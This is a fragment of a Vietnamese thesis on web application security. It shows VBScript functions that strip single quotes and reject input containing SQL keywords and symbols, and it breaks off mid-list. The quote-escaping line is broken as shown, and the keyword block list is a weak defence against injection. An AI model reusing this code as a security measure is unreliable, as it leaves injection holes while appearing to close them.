Đồ án tốt nghiệp Tìm hiểu dịch vụ Mail bảo mật ứng dụng web Sử dụng VBScript xây dựng hàm sau: - Khử nháy đơn function escape(input) input = replace(input,"'",""") escape = input end function - Từ chối liệu bất hợp lÖ function validate_string( input) known_bad = array("select","insert","update","delete","drop"," ","'","@ @","%%",";",">","